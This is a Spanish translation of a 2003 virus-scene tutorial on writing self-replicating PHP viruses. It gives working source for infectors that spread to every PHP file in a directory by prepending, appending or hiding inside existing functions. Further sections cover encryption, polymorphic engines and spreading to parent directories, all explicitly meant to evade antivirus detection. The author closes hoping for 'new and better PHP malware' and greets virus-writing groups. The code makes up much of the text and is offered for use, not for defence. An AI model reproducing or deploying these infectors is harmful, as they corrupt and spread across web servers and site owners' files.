Guía de programación de Virus en PHP
0) Introducción
PHP, abreviado: 'Hypertext Preprocessor', es un lenguaje de script muy
utilizado en la web. Puedes hacer con el prácticamente cualquier cosa relacionada
con Internet. Lo que significa que también puedes programar virus con él. El primer
virus conocido en PHP fue el PHP.Pirus, creado por MaskBits/VXI,
programado el Octubre del año 2000 y publicado en el 5º numero del eZine 29A. Realmente
no era un virus, si no más bien una prueba de concepto, PHP.Pirus escrbía en
todos los ficheros PHP de su directorio de trabajo una línea de código que hacia
que se ejecutara el virus, sin embargo, no se copiaba a si mismo dentro del 'huesped'.
Tras buscar por ahi fuera sobre virus en PHP parece ser que no hay ningún virus que
utilice técnicas mas sofisticadas, ya que practicamente todos son clones de
PHP.Pirus y estan basados en el mismo principio. Esta ha sido mi inspiracion
para escribir este articulo. He intentado hacer algo totalmente nuevo, y diría
que lo he conseguido. Todos los ejemplos han sido testeados con PHP 4.3.3, y
todo funcionó correctamente. Y ahora, vamos, leete esto y aprende algo sobre
los virus en PHP ! :)
1) Infección de archivos
Este es el punto más importante cuando quieres crear un virus en PHP, Asi que voy a explicarte como puedes infectar archivos con PHP. No debería ser un problema entender los ejemplos ya que he intentado simplificar-los todo lo posible. En el momento de escribir este artículo (Otoño del 2003) no había ningún infectador de archivos ahí fuera. El único virus interesante era PHP.Pirus, de MaskBits, y este no infectaba archivos, solo usaba el comando 'include' para que el virus fuese ejecutado por todos los archivos PHP del directorio actual. Puede que estés pensando "Porque me cuentas esto?". No lo sé, solo por diversión :). Ahora veamos un poco los diferentes métodos de infección.
1.a) Prepending
Los virus de tipo Prepending copian su propio código al principio del código de los archivos huespedes, de esta manera, el código vírico es ejecutado antes que el código original.
Este es el concepto principal de este tipo de infección. Pero hay otras consideraciones a tener en cuenta: Para 'sacar' el virus del archivo es necesario saber donde se encuentra este, en mi virus de ejemplo el virus usa los primeros 391 bytes [NdT: es lo que ocupa el propio virus]. Además tambien es importante que un mismo archivo no se infectado varias veces. Como podemos evitar eso? Claro, comprovando que no este ya infectado. En el siguiente ejemplo el virus mira en los 13 primeros bytes de la victima, que en un archivo infectado es el siguiente código: '<?php // SPTH', si coincide, entonces el archivo no debe ser infectado. Bueno, creo que se pilla la idea, echemos un vistazo al ejemplo de virus prepender:
<?php // SPTH
$string=fread(fopen(__FILE__,'r'), 391);
$curdir=opendir('.');
while ($file = readdir($curdir))
{
if (strstr($file, '.php'))
{
$victim=fopen($file, 'r+');
if (!strstr(fread($victim, 13), 'SPTH'))
{
rewind($victim);
fwrite($victim, $string.fread($victim, filesize($file)););
}
fclose($victim);
}
}
closedir($curdir);
?>
Esto sería un virus real, debería ser fácil de entender su funcionamiento. Ahora te detallo un poco las cosas más importantes que hace este ejemplo.
- Leemos los primeros 391 bytes (que es exactamente el tamaño del virus)
- Recorremos todos los archivos PHP del directorio actual.
- Si no esta infectado, añadimos el virus.
1.b) Appending
Un virus de tipo appender es aquel que se copia a si mismo al final del archivo huésped. Crear un virus de este tipo es realmente sencillo.
Solamente debes buscar la ultima parte PHP del huésped ( o crear una marca de infección al principio ). Luego lees hasta el final. y ya tienes el código vírico. El resto esta claro, buscamos una victima, nos aseguramos de que no este ya infectada y copiamos el virus al final del archivo victima. He creado un pequeño ejemplo para esto, la explicación detallada esta al final del código
<?php // SPTH
$string='<?php // '.strstr(fread(fopen(__FILE__,'r'), filesize(__FILE__)), 'SPTH');
$curdir=opendir('.');
while ($file = readdir($curdir))
{
if (strstr($file, '.php'))
{
$victim=fopen($file, 'r+');
if (!strstr(fread($victim, filesize($file)), 'SPTH'))
{
fwrite($victim, $string);
}
fclose($victim);
}
}
closedir($curdir);
?>
Ya he explicado como funciona la teoría, ahora explico que hace el ejemplo.
- Abrimos el archivo infectado y guardamos el cuerpo del virus, buscando 'SPTH' y leyendo hasta el final
- Recorremos todos los archivos PHP en el directorio actual
- Comprovamos que no este ya infectado, si no tiene el string 'SPTH' es que no esta infectado.
- Copiamos el cuerpo del virus al final del archivo huesped
[NdT: Aquí en el articulo original se encuentran detalles sobre infección de VBS y ficheros BAT ]
1.c) Entry Point Obscuring ( Ocultación de Punto de Entrada )
Esta es una técnica realmente importante en la creación de virus. Puede que algunos no sepais que es exactamente esto del Entry Point Obscure, Así que lo explicaré un poco: Los programas antivirus en muchos casos buscan en direcciones estáticas de los archivos sospechosos que escanean, ( normalmente al principio o al final del fichero ). Para engañarles, deberemos ubicar nuestro virus en posiciones variables dentro del huésped y ademas no ubicar ningún salto al virus, ya que este salto estará también en una posición estática.
Como conseguiremos esto? Aquí muestro un pequeño 'gráfico'. En este punto quiero agradecer a SnakeByte su artículo sobre EPO en Perl [ publicado en 29a#6 ] por sus ideas sobre como hacer EPO en lenguajes de script. Pues eso, el gráfico:
| Fichero huésped |
| Info de la dirección del virus |
| Leer XXX lineas del virus |
| Abrir archivo PHP |
| Leer YYY lineas |
| Insertar el Virus |
| Leer el resto |
| Cerrar archivo PHP |
| Resto de fichero huesped |
Pero ahora tenemos un problema: En que parte del huésped debemos añadir el código vírico? SnakeByte lo hace buscando el carácter ';' que es el final de cualquier comando en Perl. Como algunos sabréis, también los comandos de PHP terminan con un ';'. Esta técnica es un poco 'brusca' y puede resultar en la destrucción del huésped, así que investigué alguna alguna alternativa, y se me ocurrió incluir el código vírico dentro de una función. Mas detalles después del ejemplo con el método de ';'.
1.c.a) Insertar el virus tras un comando
Tal como decía, esta idea es de SanekByte. Para incluir el virus tras un comando, deberemos buscar un caracter ';', que es el final de todos los comandos PHP. Esto parece ser todo, echemos un vistazo al ejemplo de esta técnica EPO.
<?php
$ln=16;
$filehandle=fopen(__FILE__,'r');
srand((double)microtime()*1000000);
fseek($filehandle, $ln);
$content=fread($filehandle, 987);
fclose($filehandle);
$curdir=opendir('.');
while ($file = readdir($curdir))
{
if (strstr($file, '.php'))
{
$victim=fopen($file, 'r+');
$vicont=fread($victim, filesize($file));
if (!strstr($vicont, 'SPTH'))
{
$possible=0; $c=0;
while($c<filesize($file))
{
if($vicont{$c}.$vicont{$c+1}.$vicont{$c+2}==chr(59).chr(13).chr(10)) { $possible++;}
$c++;
}
$which=rand(1,$possible); $c=0; $i=0;
while($which)
{
if($vicont{$c}.$vicont{$c+1}.$vicont{$c+2}==chr(59).chr(13).chr(10)) { $which--; }
$c++;
}
rewind($victim);
$a=fread($victim, $c); $b=fread($victim, filesize($file));
fclose($victim);
fwrite(fopen($file, 'w'), $a.chr(13).chr(10).'$ln='.$c.';'.chr(13).chr(10).
$content.chr(13).chr(10).$b);
}
}
}
?>
Esto es un ejemplo de la tecnica EPO descrita anteriormente. Es relativamente simple de entender, pero de todas maneras explicaremos que es lo que hace exactamente.
- Buscamos código vírico en el propio huesped y leemos los siguientes 987 bytes.
- Abrimos un archivo PHP
- Comprobamos cuantos posibles puntos de entrada tenemos
- Seleccionamos un punto de entrada al azar
- Leemos el código huésped antes y después del punto de entrada
- Escribimos el código huésped anterior, el virus, y el huésped final en el archivo
1.c.b) Usando una función del huésped
Esta técnica es seguramente un poco mejor que la anterior, sin embargo no he visto esta técnica EPO en ningún virus de script (vale, tampoco es que haya visto muchos virus de script que usen EPO :D). Como decía, estos virus usan una función del código huésped. Puede que no sepas de que estoy hablando, así que lo mostramos a continuación. En este gráfico podemos ver un fichero no infectado y un fichero infectado. Espero que sirva para pillar la idea:
Archivo original
| Código huésped 1 |
| Llamada a función |
| Código huésped 2 |
| Función() |
| Código huésped 3 |
| Fin de función |
| Código huésped 4 |
|
Archivo infectado
| Código huésped 1 |
| Llamada a función |
| Código huésped 2 |
| Función() |
| VIRUS |
| Llamada a función real |
| Fin de función |
| Código huésped 4 |
| Función real() |
| Código huésped 3 |
| Fin de función real |
|
Ahora que entendemos la técnica, como lo conseguimos? Primero deberemos buscar todas las funciones del código huésped y seleccionar una de ellas, guardamos el código de esa función y copiamos el código vírico en ella. Después del código vírico es necesario llamar a la función original, que puede estar ubicada al final del archivo huésped. El nombre que le demos a la función real no debería ser un problema, ya que la llamaremos desde el propio virus. A continuación un ejemplo funcional, y como siempre, los detalles de funcionamiento trás el código:
<?php
$ln=16;
$filehandle=fopen(__FILE__,'r');
srand((double)microtime()*1000000);
fseek($filehandle, $ln);
$content=fread($filehandle, 1611);
fclose($filehandle);
$curdir=opendir('.');
while ($file = readdir($curdir))
{
if (strstr($file, '.php'))
{
$victim=fopen($file, 'r+');
$vicont=fread($victim, filesize($file));
if (!strstr($vicont, 'SPTH'))
{
$possible=0; $viccont=$vicont;
while(strstr($viccont, 'function '))
{
$viccont=strstr($viccont, 'unction ');
$possible++;
}
$which=rand(1,$possible);
$viccont=$vicont;
while($which--)
{
$viccont=strstr($viccont, 'function ');
}
$viccont=strstr($viccont, '{');
$before=strlen($vicont)-strlen($viccont)+1; $check=0; $i=0;
do
{
if ($viccont{$i}=='{') { $check++; }
if ($viccont{$i++}=='}') { $check--; }
}
while($check);
fseek($victim, $before);
$funccont=fread($victim, $i+1);
fseek($victim, $before+$i-1);
$aftercont=fread($victim, filesize($file)-$before-$i-strlen(strstr($vicont, '?>')));
$coundj=0; $newvar='';
do
{
$newvar.=chr(rand(97,122)); $countj++;
}
while ($countj<rand(5,15));
rewind($victim);
$beforecont=fread($victim, $before);
rewind($victim);
fwrite($victim, $beforecont.chr(13).chr(10).
'$ln='.($before+strlen($before)+9).';'.chr(13).chr(10).$content.chr(13).
chr(10).$newvar.'(); }'.$aftercont.chr(13).chr(10).'function '.
$newvar.'() {'.chr(13).chr(10).$funccont.'?'.'>');
}
}
}
?>
Este ejemplo no es para principiantes. He trabajado unas 4 o 5 horas en esta pequeña cosa. Aun así, funciona bastante bien, y me gustaría explicar como funciona:
- El virus se busca a si mismo usando una variable llamada '$ln', la cual contiene información sobre donde se encuentra el virus en el archivo. Esta variable debe ser regenerada en cada infección ya que el virus se encuentra en diferente posición en cada genereación. Contiene el punto de entrada en bytes.
- Buscamos un archivo .PHP que no este ya infectado
- Buscamos la palabra 'function ' en la victima, para encontrar posibles puntos de entrada
- Seleccionamos un punto de entrada al azar
- Buscamos el contenido que se encuentra antes que la función seleccionada
- Buscamos el contenido de la función
- Buscamos el contenido que se encuentra después de la función
- Creamos una nueva función con nombre aleatorio y le añadimos el código de la función original
- Escribimos el contenido inicial, la función vírica, la llamada a la la nueva función ( la que contiene la función original ), el contenido final, y la nueva función.
2) Encriptación
La primera parte de este articulo debería darnos una idea básica de como escribir un virus en PHP. Sin embargo, en mayor o menor medida, estas técnicas son fácilmente detectables por las compañías Anti-Virus. Ahora me gustaría mostrar que podemos hacer para engañarles. Esta parte del artículo ( y la siguiente sobre polimorfismo ) nos ayudará para crear un virus en PHP que no sea detectable por búsqueda de patrones, o por lo menos, para disminuir los patrones de búsqueda, He encontrado varias maneras de encriptar código en php, y me gustaría compartirlas con vosotros :)
2.a) Convirtiendo el virus a códigos ASCII
Convertir todo el virus en caracteres ASCII no debería ser un problema. Para ejecutar el código de caracteres estuve intentándolo mediante el comando 'eval()'. Pero tras dos horas de pruebas me dí cuenta de que esto no funcionaba. Así que me decidí por otro método, escribir el código vírico en ASCII en un nuevo archivo, ejecutarlo mediante 'include()' y luego eliminar ese archivo. Aquí dejo un pequeño ejemplo que te mostrara como usar esta técnica.
<?php
$content=chr(60).chr(63).chr(112).chr(104).chr(112).chr(13).chr(10).chr(112).
chr(114).chr(105).chr(110).chr(116).chr(40).chr(34).chr(72).chr(105).
chr(32).chr(86).chr(88).chr(101).chr(114).chr(33).chr(32).chr(84).chr(104).
chr(105).chr(115).chr(32).chr(105).chr(115).chr(32).chr(106).chr(117).
chr(115).chr(116).chr(32).chr(97).chr(32).chr(115).chr(105).
chr(108).chr(108).chr(121).chr(32).chr(116).chr(101).chr(115).
chr(116).chr(32).chr(115).chr(116).chr(114).chr(105).chr(110).
chr(103).chr(32).chr(102).chr(111).chr(114).chr(32).
chr(116).chr(104).chr(101).chr(32).chr(101).chr(110).chr(99).
chr(114).chr(121).chr(112).chr(116).chr(105).chr(111).chr(110).
chr(32).chr(105).chr(110).chr(32).chr(80).chr(72).
chr(80).chr(46).chr(34).chr(41).chr(59).chr(13).chr(10).
chr(63).chr(62);
copy(__FILE__,'file.php');
$a=fopen('file.php','w+');
fwrite($a, $content);
fclose($a);
include('file.php');
unlink('file.php');
?>
El principio se entiende bastante rápido, el código encriptado contiene un mensaje 'secreto'. :) Si alguien no lo acaba de entender, aquí la explicación:
- '$content' contiene un script PHP codificado en ASCII. Aquí deberíamos usar el código de nuestro virus. Simplemente convertimos los códigos ASCII en caracteres normales y los guardamos en una variable.
- Nota: debido a que los datos encriptados deben ser un archivo funcional, es necesario que incluyan '<?php','?>' así como una sintaxis PHP correcta, ( por ejemplo, teniendo en cuenta los ';' )
- Escribimos el contenido vírico desencriptado en un nuevo archivo.
- Ejecutamos el archivo (mediante 'include(<-archivo->)')
- Eliminamos el archivo (mediante 'unlink(<-archivo->)')
2.b) Usando una función interna de desencriptado
Puede que este titulo suene algo extraño, bien, no lo es :). La idea básica consiste en: Llamamos una función a la que pasamos 3 valores, y que nos retornara el correcto. La idea no es difícil de entender, se trada del mismo principio que en el ejemplo anterior. La única diferencia se encuentra en la encriptación. Ahora hacemos una llamada a una función en vez de tener los códigos ASCII reales, la función opera con estos tres valores y nos devolverá el código ASCII correcto. Supongo que se entiende, echemos un vistazo al ejemplo para esta técnica:
<?php
$content=cr(-177,237,1).cr(169,106,2).cr(-135,247,1).cr(150,46,2).cr(8624,77,3).cr(56,43,2).
cr(1900,190,3).cr(127,15,2).cr(20,94,1).cr(51,54,1).cr(110,0,2).cr(372,256,2).
cr(247,207,2).cr(57,18,2).cr(-1,84,1).cr(322,221,2).cr(147,48,2).cr(232,121,2).
cr(7700,70,3).cr(-33,133,1).cr(-31,63,1).cr(180,97,2).cr(-106,207,1).
cr(-148,247,1).cr(184,70,2).cr(322,221,2).cr(-48,164,1).cr(167,135,2).
cr(-71,148,1).cr(24947,247,3).cr(10810,94,3).cr(202,87,2).cr(4559,47,3).
cr(261,158,2).cr(312,211,2).cr(-79,111,1).cr(-3,61,1).cr(-5,73,1).cr(2262,58,3).
cr(56,15,2).cr(-145,204,1).cr(3289,253,3).cr(225,215,2).cr(21,42,1).
cr(302,240,2);
copy(__FILE__,'file.php');
$aa=fopen('file.php','w+');
fwrite($aa, $content);
fclose($aa);
include('file.php');
unlink('file.php');
function cr($a,$b,$c)
{
if ($c==1) { return(chr($a+$b)); }
if ($c==2) { return(chr($a-$b)); }
if ($c==3) { return(chr($a/$b)); }
}
?>
Bien, si no se ha pillado la idea mirando el código, dejadme explicar que hace esto exactamente. El código encriptado es nuevamente un mensaje 'secreto' :)
- Cada carácter esta codificado en una llamada a la función cr(), que recibe 3 parámetros. El primer y segundo parámetros son los valores, el tercero informa a la función sobre que calculo deberá realizar (sumar,restar, o dividir), algo así como la clave.
- Tras descodificar, se hace lo mismo que en el anterior ejemplo.
2.c) Usar una cadena modificada
Esta técnica es bien conocida en lenguajes de script. Jackie ya la usó en JavaScript. Así que me pareció que era posible hacerlo también en PHP. Y si, como podréis ver, es posible. La cosa funciona así: El código 'vírico' se encuentra encriptado en una variable. Es encriptado añadiendo 3 al valor ASCII de cada carácter (3 es la clave). Es fácil de entender, miremos el ejemplo que he preparado:
<?php
$all='?Bskssulqw+*111frro/#wklv#lv#wkh#wklug#hqfu|swlrq#whfkqltxh'.
'#dqg#|rx#duh#vwloo#zlwk#ph111#=,*,>BA';
$i=0; $content='';
while($i<strlen($all)) { $content.=chr(ord($all{$i++})-3); }
copy(__FILE__,'file.php');
$aa=fopen('file.php','w+');
fwrite($aa, $content);
fclose($aa);
include('file.php');
unlink('file.php');
?>
La variable encriptada contiene código PHP que muestra un mensaje en la pantalla. El resto funciona como siempre: Creamos un nuevo archivo, sobre-escribimos con el código desencriptado, ejecutamos ese archivo, y luego lo eliminamos. Como funciona el encriptado/desencriptado? Una pequeña explicación:
- Convertimos cada carácter de la cadena encriptada a su valor ASCII (mediante 'ord()')
- Decrementamos ese valor con la clave de encriptado ( en este ejemplo es el número 3 )
- Convertimos los ASCIi de nuevo a caracteres (mediante 'chr()'), y con eso tenemos la cadena real.
3) Polimorfismo
Como todo el mundo sabe, esta es una de las técnicas mas importantes a la hora de engañar a los programas Anti-Virus y de mostrar que sabes lo que estás haciendo :). Así que he decidido escribir algo sobre esta técnica aquí. En principio no he podido encontrar ningún otro virus en PHP circulando que use técnicas de polimorfismo ( aún así, puede que ya exista alguno ). Ha sido bastante fácil crear estos engines polimórficos, principalmente porque PHP no es en realidad un lenguaje difícil. Me he esforzado bastante en mostrar como podría funcionar un motor polimórfico en PHP
3.a) Añadiendo código Trash
[NdT: Trash: basura / inútil / que no aporta nada / sin sentido. dejo Trash porqué es la palabra técnica habitualmente usada]
Esta técnica es bien conocida en varios lenguajes de script, Me pareció que debía ser posible usarla en PHP, y tras un par de horas, el código estaba listo. Primero veamos el tipo de código trash que generará nuestro ejemplo.
- // shsdfjksfdjfds
- $kasjkh=192847832;
- $lwekjcmws='iwsdkjhfskjbnla';
Bien, ahora sabemos que es lo que queremos añadir. Alguna cosa mas? Pues si, deberemos eliminar el código trash añadido, de otra forma acabaríamos con archivos de 2 Megabytes tras la décima ejecución del virus, y nosotros no queremos eso. :) Así que, como eliminar este código? En mi ejemplo he buscado la primera letra de cada linea, y en el caso que esta fuese '/' o '$', entonces es código trash que no debe ser incluido en la siguiente copia. Veamos el ejemplo:
<?php
$string=strtok(fread(fopen(__FILE__,'r'), filesize(__FILE__)),chr(13).chr(10));
$newcont='<?php'.chr(13).chr(10);
srand((double)microtime()*1000000);
while ($string && $string!='?>') {
if(rand(0,1)) {
if (rand(0,1)) { $newcont.='// '.trash('').chr(13).chr(10); }
if (rand(0,1)) { $newcont.='$'.trash('').'='.chr(39).trash('').chr(39).';'.
chr(13).chr(10); }
if (rand(0,1)) { $newcont.='$'.trash('').'='.rand().';'.chr(13).chr(10); }
}
$string=strtok(chr(13).chr(10));
if ($string{0}!='/' && $string{0}!='$') { $newcont.=$string.chr(13).chr(10); }
fwrite(fopen(__FILE__, 'w'),$newcont);
}
function trash($var) {
do { $var.=chr(rand(97,122)); } while (rand(0,7));
return $var;
}
?>
Todo debería quedar claro, repasemos lo que hace este pequeño ejemplo:
- Partimos el propio script en lineas separadas ( códigos ASCII chr(13).chr(10)).
- Dos en uno, si la ultima linea no es código trash, añadimos una linea de trash a la nueva copia.
- Si la ultima linea no es código trash añadimos la linea a la nueva copia
- Escribimos la nueva copia en un archivo
3.b) Modificación de variables
Esta es otra técnica bien conocida para mutar virus de script. Así que nuevamente la haremos en PHP. La explicación es: Nosotros usamos diferentes variables en nuestro virus, si esas variables tienen el mismo nombre en cada generación, entonces, nuestros amigos los Anti-Virus usarán este echo para detectar nuestro virus. Así que seria muy bueno modificar el nombre de esas variables. Como lo haremos? Yo he usado un array con todos los nombres de variable que he usado, luego las reemplazaremos con el comando 'str_replace()' con un nuevo nombre proporcionado por la función trash(). Demos un vistazo al código de ejemplo:
<?php
$changevars=array('changevars', 'content', 'newvars', 'counti','countj', 'trash');
srand((double)microtime()*1000000);
$content=fread(fopen(__FILE__,'r'),filesize(__FILE__));
$counti=0;
while($changevars[$counti]) {
$content=str_replace($changevars[++$counti], trash('',0), $content);
}
fwrite(fopen(__FILE__,'w'),$content);
function trash($newvar, $countj) {
do { $newvar.=chr(rand(97,122)); } while (++$countj<rand(5,15));
return $newvar;
}
?>
Código simple, fácil de entender. De todos modos detallo un poco lo que hace:
- Creamos un nuevo array con todas las variables y nombres de funcion utulizadas.
- Cargamos todo el contenido del archivo vírico
- Buscamos las palabras en el array y las reemplazamos por nuevas.
- Guardamos de nuevo el archivo
3.c) Modificación numérica
Todo código contiene números, sea cual sea su uso, Tras pensar un poco se me ocurrió que también podía modificar esos números. Así que inicie la programación de un código que modificara sus propios valores numéricos. Como podemos modificar un numero? Es fácil. Hacemos un calculo con números que retornen el valor que tu quieres. Miremos algunas variantes:
- 10=(12-2)
- 10=(8+2)
- 10=(80/8)
He intentado usar divisiones, pero esto resulta en números con decimales y no acaba de funcionar bie. No hay problema con tres variaciones debería ser suficiente. Veamos como podría ser un número tras 4 mutaciones:
[NdT: Dice que no usa divisiones pero en el código las usa, supongo que sera un error, ya que realmente daría problemas por culpa de los decimales]
10=((((1289-9)/(6+2))/((15+5)-(4+6)))-(((252/6)/(7-1))-((4+3)-(30/5))))
Con esto podemos ver que esta técnica da resultados jodidamente buenos :). Tras explicar la idea básica, aquí podemos ver el ejemplo que modifica los valores numéricos.
<?php
$newcont=fread(fopen(__FILE__,'r'),filesize(__FILE__));
srand((double)microtime()*1000000);
$count=-1; $number='';
while(++$count<strlen($newcont)) {
if (ord($newcont{$count})>47 && ord($newcont{$count})<58) {
$number=$newcont{$count};
while(ord($newcont{++$count})>47 && ord($newcont{$count})<58) {
$number.=$newcont{$count}; }
$remn=rand(1,10);
switch(rand(1,3)) {
case 1:
$cont.='('.($number-$remn).'+'.$remn.')'; break;
case 2:
$cont.='('.($number+$remn).'-'.$remn.')'; break;
case 3:
$cont.='('.($number*$remn).'/'.$remn.')'; break;
}
}
$cont.=$newcont{$count};
$number='';
}
fwrite(fopen(__FILE__,'w'),$cont);
?>
Ahora una pequeña explicación sobre este código:
- Leemos todo el archivo
- buscamos cualquier numero en uno de sus caracteres ASCII [sign>chr(47) && sign
- Leemos el resto del número
- Hacemos un nuevo calculo que resulte en ese número
- Escribimos el nuevo contenido en el archivo
4) Otras consideraciones
mientras escribía este artículo me vinieron varias ideas a la cabeza, que me gustaría compartir con vosotros. Puede que estas ideas sean un sin-sentido, o puede que sean brillantes ( a veces lo increíble ocurre :D ). Ok, empecemos: Esta parte contiene ideas para un mejor ocultamiento a la detección del virus, o bien ideas para que este se reproduzca más rápido. Espero que sean de provecho para vosotros!
4.a) Buscar más archivos
Que debemos hacer si queremos encontrar más archivos? Buscar en más directorios :) Mi idea es la siguiente, ya que el comando 'getcwd()' retorna el directorio actual completo, podemos infectar cada directorio anterior. Como lo hacemos? miremos el retorno de 'getcwd()' :
E:\SPTH\Programme\minixampp\htdocs
Bien, tenemos 4 directorios que no han sido infectados aún:
- E:\SPTH\Programme\minixampp
- E:\SPTH\Programme
- E:\SPTH
- E:\
Como conseguimos estos directorios? simplemente buscamos el carácter '\' en el directorio actual, luego cogemos carácter a carácter hasta la siguiente '/' y ya tenemos el siguiente directorio a infectar. El resto es fácil, abrimos ese directorio con 'opendir()' y aplicamos lo que hemos visto anteriormente :)
4.b) Modificar comandos
Quizás ya lo sepáis, pero PHP dispone de muchos alias para diferentes comandos, podemos aprovecharnos de eso. Seguramente ya imagináis como :) Simplemente remplazamos un comando con otro que haga lo mismo. Aquí tenéis una lista de los diferentes comandos y alias, para mostrar hasta que punto el código podría ser modificado. Esta es una lista resumida, pero podría sernos útil en la creación de virus polimórficos.
chop - rtrim()
close - closedir()
die - exit()
dir - getdir()
doubleval - floatval()
fputs - fwrite()
ini_alter - ini_set()
is_double - is_float()
is_integer - is_int()
is_long - is_int()
is_real - is_float()
is_writeable - is_writable()
join - implode()
magic_quotes_runtime - set_magic_quotes_runtime()
pos - current()
rewind - rewinddir()
show_source - highlight_file()
sizeof - count()
strchr - strstr()
La lista completa de alias la encontrareis aquí: http://zend.com/phpfunc/all_aliases.php
5) Despedida
Estamos cerca del final y me gustaría decir que lo he pasado bien descubriendo este lenguaje, espero que hayamos aprendido algo. Me gustaría pensar que pronto veremos nuevo y mejor malware PHP. Si no es así sabre que he currado un par de meses para nada :D. Pero seamos positivos, ahora es fácil escribir buenos virus en PHP porqué las técnicas ya están descubiertas.
En este punto me gustaría dar un agradecimiento a MaskBits/VXI por crear el primer malware en PHP, conocido como PHP.Pirus y disponible en la eZine 29a#5, el me inspiró a escribir este artículo, cuando descubrí que actualmente los virus en PHP no se encontraban en un estado en el que pudieses decir: "es perfecto, no se me ocurre como mejorarlo". Otra persona a la que me gustaría mostrar agradecimiento es a Snakebyte, por su artículo sobre Polimorfismo,EPO, y encriptación en Perl, disponible en 29A#6, el me ayudó en algunas partes de este artículo. Agradecimientos también a Kefi, que ha escrito un virus polimórfico en PHP que aun no he podido ver, pero que me animó a escribir este artículo. Finalmente felicitaciones y agradecimientos a todas estas personas:
A PhileT0aster y a toda la gente de rRlf-gang :), a Jackie por ser algo así como un ídolo para mi, a SlageHammer & Knowdeth - las personas más amigables que he conocido en la scene vírica, a VirusBuster por responder tantas a veces a mis estúpidas preguntas, a Vorgon - por intentar que aprendiera ensamblador :D, a Toro por ayudarme con muchos problemas, a SnakeByte por escribir buenos tutoriales, a SAD1c por ser un buen tío, a Vortex & Worf, por ser los que me ayudaron en mis primeros pasos por la scene :), a VxF & Metal por los buenos ratos en el IRC :), a doctor Rave por muchas buenas ideas que compartió conmigo, a Prizzy por ese genial email que escribió, a herm1t por hospedar mi página, a sinocred por odiar el "hi", a PanoiX por ser un tipo genial :), a Arzy por ser de tanta ayuda :D, a Necronomikon & Gigabyte por esas buenas charlas en el IRC ( desgraciadamente no hemos tenido mucho contacto últimamente ) y a muchas otras personas que he conocido... :)
También quisiera enviar un agradecimiento a varios grupos de la scene: Agradecimientos a rRlf (por supuesto :D), 29A, iKx, SLAM, TKT, MIONS, Whackerz, y a todos los grupos más y menos activos en la scene vírica!
- - - - - - - - - - - - - - -
Second Part To Hell/[rRlf]
www.spth.de.vu
spth@aonmail.at
written from oct-november 2003
Austria
- - - - - - - - - - - - - - -